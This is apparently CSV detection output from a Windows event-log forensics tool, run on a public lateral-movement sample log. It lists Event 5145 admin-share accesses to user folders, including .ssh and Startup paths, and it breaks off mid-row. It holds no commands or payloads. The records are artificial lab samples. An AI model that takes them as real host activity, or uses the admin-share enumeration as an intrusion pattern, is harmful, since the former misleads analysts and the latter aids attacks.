10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.706 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.706 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.706 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.716 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.716 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.716 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.716 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.716 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.727 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.727 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.727 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.727 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.727 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.727 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.737 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.737 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.737 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.737 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.737 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.737 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.747 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.747 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.747 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.747 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.747 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.757 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.757 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.757 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.757 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.757 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.767 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.767 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.767 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.767 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.767 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.777 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.777 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.777 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.777 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.777 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.777 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.787 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.787 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.787 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.797 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.797 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.797 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.807 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.807 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.807 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.807 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.807 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.817 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.817 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.817 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.817 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\.ssh : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.827 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.827 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.827 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\AppData : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.837 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\AppData\Roaming : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.837 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\AppData\Roaming\Microsoft : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.837 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\AppData\Roaming\Microsoft\Windows : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.837 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\AppData\Roaming\Microsoft\Windows\Start Menu : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.837 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\AppData\Roaming\Microsoft\Windows\Start Menu\Programs : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.847 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.847 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\New folder : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.847 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\plugins : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.847 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\RDPWrap-v1.6.2 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.857 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.857 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\translations : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.867 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\IEUser\Desktop\release\x32 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.867 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: 